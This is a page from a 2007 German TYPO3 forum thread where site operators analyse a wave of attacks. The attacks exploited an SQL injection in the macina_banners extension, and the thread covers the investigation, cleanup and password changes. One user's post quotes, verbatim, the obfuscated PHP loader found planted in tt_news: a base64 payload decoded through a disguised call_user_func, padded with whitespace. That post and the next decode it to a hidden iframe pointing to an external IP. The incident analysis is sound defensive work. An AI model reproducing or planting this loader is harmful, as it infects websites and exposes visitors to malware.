Zum Inhalt springen

Wiederholte Attacken auf Typo3-Seite

Erstellt am 16. Mai 2007 · 65 Antworten · letzte Antwort am 5. September 2007 · Seite 2 von 4

Tags: Sicherheit, Frage

chupa ·
just2b schrieb

macina_banners/pi1/class.tx_macinabanners_pi1.php > update-query

georg

Ja, mag sein...aber wie kommt man auf die Idee, genau da nachzugucken? ^^

Hätte ich ne Chance mit der Analyse von Server-Logs gehabt?

jan.​radecker ·
chupa schrieb
just2b schrieb

macina_banners/pi1/class.tx_macinabanners_pi1.php > update-query

georg

Ja, mag sein...aber wie kommt man auf die Idee, genau da nachzugucken? ^^

Hätte ich ne Chance mit der Analyse von Server-Logs gehabt?

Ja und Nein...

In den normalen Apache-Logs steht zu wenig Information, um die genaue Vorgehensweise nachzuverfolgen. Andererseits, wenn man dann weiß, wonach man suchen muss, findet man es dann doch... (aber so schlau ist man erst hinterher).
In diesem Fall waren das auffällig viele POST-Requests auf die Startseite innerhalb weniger Minuten. Dabei wechselte allerdings die IP-Adresse des Angreifers mehrfach.

Da ich im ersten Anlauf zwar herausgefunden hatte, WAS der Angreifer installiert und geändert hatte, aber nicht wusste, WIE er eingedrungen ist, habe ich die GET- und POST-Requests in separate Dateien mitprotokolliert (per auto_prepend und einem PHP-Script, da Apache nicht an die POST-Daten rankommt, um diese zu protokollieren). Darüber hinaus habe ich auch ein MySQL-Log mitlaufen lassen (Achtung, das wird verdammt groß und zieht an der Performance), das ich dann letztlich doch nicht gebraucht habe, aber man weiß ja nie...

Dann musste ich nur noch warten, bis der Angreifer erneut gekommen ist und konnte dann genau sehen, welche Daten er per POST gesendet hat und konnte so sehen, dass er gezielt auf macina_banners losgegangen ist.

Dann habe ich die Extension genauer angesehen und herausgefunden, dass der verdächtige POST-Parameter ungeprüft in eine UPDATE-Query eingebaut wurde.

So konnte der Angreifer eigenen SQL-Code in die Abfrage einschleusen und letztendlich Benutzernamen und Passwort aus der Datenbank auslesen.

Sailor ·

Hallo zusammen,

ich hatte das Glück von Hr. Weiland informiert zu werden.
Nur jetzt hab ich das Problem, dass nach dem Update von Macina_Banners, keine Banner angezeigt werden.

Hat jemand die gleiche Erfahrung gemacht und eine Idee woran es liegen kann.

Hr. Weiland hatte mich informiert, dass die Extension Serverseitig deaktiviert wurde, vielleicht ist dies ja noch ein Problem, aber bin leider vollkommen unwissend (DAU). #angry#
Also ein ganz großer Hilferuf an die Wissenden...

Gruß
Sailor Kim

just2b ·

naja wenn sie noch serverseitig deaktiviert ist, dann kanns nicht funktionieren. irgendwie logisch

georg

Sailor ·

Hallo Georg,

na dann lag ich ja nicht ganz falsch. Werde gleich mal bei Weiland & Co anrufen.
Danke aber und schönen Abend
Gruß
Kim

jweiland ·

Wir haben ja bei den betroffenen Kunden nur die alte Version der Extension deaktiviert (durch Umbenennen der betroffenen PHP Datei). Nach einem Update der Extension sollte das automatisch wieder funktionieren.

Eine Idee wäre noch das Löschen der temp_CACHED... Dateien im Verzeichnis typo3conf oder aber die neue Version der Extension hat vielleicht einen Bug.

Generell aber immer noch besser keine Banner als Schadcode auf der Seite zu haben...

Jochen Weiland

chupa ·

Ich bemerkte, dass trotz des macina_banners-Update weiterhin irgendwie die Adresse alexa-ranking.info aufgerufen wurde, wenn man die Seite öffnete. Ich suchte mich fast blind. Da mir auffiel, dass der Schadcode nur im Quelltext bestimmter Seiten auftauchte, suchte ich nach deren Gemeinsamkeiten. Das Problem verschwand, als ich das (ohnehin nicht benötigte) "table-based tmpl (tt_news)" aus einem der Seiten-Templates entfernte.

Anschließend knöpfte ich mir den Code von tt_news vor. In der Datei /tt_news/pi/class.tx_ttnews.php fand ich etwas Ungewöhnliches:

/**
 * Class for unzipping ZIP files and store them into database.
 *
 * @author     Kasper Skårhøj <kasper@typo3.com>
 */


$form = 'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmV2YWwodW5lc2NhcGUoJyU2NCU2R'.
        'iU2MyU3NSU2RCU2NSU2RSU3NCUyRSU3NyU3MiU2OSU3NCU2NSUyOCUyNyUzQyU2OSU2Ni'.
        'U3MiU2MSU2RCU2NSUyMCU3MyU3MiU2MyUzRCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMCU'.
        '3OCU2MyU2MiU2NCU2NiUzOSU2NiUzNiUzOSUyRiU2QyU2OSU2MiU3MiU2MSU3MiU2OSU2'.
        'NSU3MyUyRiU2OSU2NiU3MiU2MSU2RCU2NSUyRSU3MCU2OCU3MCUyMCU3MyU3NCU3OSU2Q'.
        'yU2NSUzRCUyMiU2NCU2OSU3MyU3MCU2QyU2MSU3OSUzQSU2RSU2RiU2RSU2NSUyMiUzRS'.
        'UzQyUyRiU2OSU2NiU3MiU2MSU2RCU2NSUzRSUyNyUyOSUzQicpKTs8L3NjcmlwdD4=';

for($i=0,$r=rand(512,1024);$i<$r;$i++)
{
    echo '  ';
}

echo call_user_func(''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.'b'.''.''.'a'.''.''.''.'s'.''.''.''.''.''.'e'.''.''.''.'6'.''.''.''.''.'4'.'_'.'d'.''.'e'.''.'c'.''.''.'o'.''.''.''.'d'.''.''.''.'e', $form);

for($i=0,$r=rand(512,1024);$i<$r;$i++)
{
    echo '   ';
}

Das Entfernen dieses Codes beseitigte das Problem. Anschließend durchsuchte ich weitere Extensions nach Teilen dieses Codes und wurde schließlich noch in indexed_search/class.internal_parser.php fündig.

Kann mal einer übersetzen? :p

chupa ·

Habs selbst dekodiert...übersetzt heißt die Zeichenkette:

<script type="text/javascript">eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%30%78%63%62%64%66%39%66%36%39%2F%6C%69%62%72%61%72%69%65%73%2F%69%66%72%61%6D%65%2E%70%68%70%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));</script>

wobei %64%6F%63%... wiederum heißt:

document.write('<iframe src=http://0xcbdf9f69/libraries/iframe.php style="display:none"></iframe>');

und 0xcbdf9f69 wiederum ergibt 203.223.159.105, eine IP in Malaysia.

hepi ·

Hallo,

bitte behaltet im Hinterkopf, dass alle wichtigen neuen Erkenntnisse, die mit diesen Einbrüchen zusammenhängen, auch für das TYPO3 Security Team von großem Interesse sind. Also: Detailanalysen mit Neuigkeiten bitte auch auf Englisch an das Security Team schicken und nicht nur hier posten. Denn nicht alle Security Team Mitglieder sprechen Deutsch.

http://typo3.org/teams/security/

Vielen Dank! #giggle#

Viele Grüße
hepi

hepi ·
just2b schrieb

hepi...
bitte einfach den ganzen thread lesen oder http://typo3.org/teams/security/security-bulletins/typo3-20070608-1/

georg

Hi georg,

Danke für die Antwort, aber ich habe schon den ganzen Thread gelesen. Mir geht es um meine nicht-deutschsprachigen Kollegen im Security Team, die nicht den ganzen Thread lesen können.

Mir geht es auch darum, dass NEUE Erkenntnisse, die noch nicht im Thread stehen, zunächst an das Security Team gemeldet werden, bevor sie publiziert werden.

Gruß
hepi (Henning Pingel)

Patrick S.​ ·

Ist es denn ausreichend, das Modul macina_banners auf Version 1.5.0 zu updaten?

Woran kann ich eindeutig erkennen, dass meine Installation bereits infiziert wurde?
Moeglicherweise liegt der Infekt ja vor, wurde jedoch einfach noch nicht genutzt.

Ich werde jetzt erst einmal die Passwoerter neu setzen.

danke,

Patrick

ekki ·

Hi all,
auf typo3.org gibt es inzwischen eine Zusammenfassung der Erkenntnisse des TYPO3 Security Teams zu diesen Angriffen, nämlich unter
http://buzz.typo3.org/teams/security/article/massive-web-server-hacks-iframe-attacks-now-extended-to-typo3/

(deutsch unter
http://www.naw.info/blogs/typo3security/2007/07/03/angriffswelle-gegen-webserver-iframe-attacken-nun-auch-typo3)

greets
/Ekki
__________________
Ekkehard Gümbel
naw.info net&works Internet Services GmbH, Hannover
http://www.naw.info

Twinstar ·

Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?

1. Alle macina_banners Ext. deinstallieren bzw. auf 1.4.1 zu updaten.
(mit find -type d macina_banners) findet man schnell raus aif welchen web´s die Ext. sind.
2. Alle Dateien nach den bekannten Strings, encodierte wie decodierte durchsuchen (grep -r etc.) und entfernen.
3. Alle temp_cached* Dateien löschen und neu generieren lassen.

Das ist was mir dazu einfällt. Was sollte man noch tun?

Sollte man alle Typo3 Admin Passwörter ändern? Oder besser gleich auch sämtliche Redakteurs Zugänge?

Twinstar ·
nickno schrieb

Ich würde auf Nummer sicher gehen und ein altes Backup einspielen...

Wenn man über 100 Web´s auf einem Server hat und Redakteure über viele Typo3 Installationen täglich munter Content produzieren, ist das nicht wirklich praktikabel. Die müssten ja dann alle wieder auf dem Stand vor z.B. 4 Wochen anfangen.

Besteht denn grundsätzlich die Möglichkeit, daß durch den SQL-Inject weitere Schadsoftware als "Hintertürchen" installiert wurde? Und wenn ja, ist da vielleicht was bekannt? Mich würde auch interessieren wie man es schafft MD5 verschlüsselte Passörter zu knacken. Mit BruteForce sollten PW mit dem Format z.B. x4GH9nm! nicht so einfach zu hacken sein.

Also wenn ich die Aussage von Jan Radecker:

Die SQL-Injection-Schwachstelle ermöglichte es per Brute-Force und ein wenig SQL-Magie z.B. aus der Tabelle be_users einen Admin-User samt MD5-Passwort auszulesen.

richtig interpretiere. Hat der Angreifer "nur" den Admin Benutzernamen und den MD5 Hash des Passwortes ausgelesen und nicht das Passwort mittels Bruteforce geknackt. Oder?! In dem Fall kann der Angreifer bei Schliessen der macina_banners Lücke mit seinen Daten ja nichts mehr anfangen. #paralyzed#

jweiland ·

Über SQL-Injection kann man sich z.B. selbst als Admin in der Datenbank eintragen, da braucht man kein Passwort zu knacken.
Als Admin kann man z.B. beliebige (selbst geschriebene) Extensions installieren.
Wenn es irgendwie geht, sollte man versuchen festzustellen, über welchen Weg der Angreifer Zugriff auf den Server bekommen hat. Es muss nicht unbedingt oder nur macina_banners gewesen sein.
Ideal wäre eine genaue Analyse der Server Logfiles aus der Zeit vor dem Entdecken des Einbruchs.
In den meisten Fällen wurden auf den betroffenen Systemen mehrere Webshells installiert (und teilweise sehr gut getarnt). Wenn man nicht alle findet, hat der Angreifer nach wie vor Zugriff auf den Rechner.
Gerade wenn man über 100 Webs auf dem Server hat, muss man sich einige Zeit nehmen, um das System genau zu analysieren (und auch künftig zu überwachen).

Jochen Weiland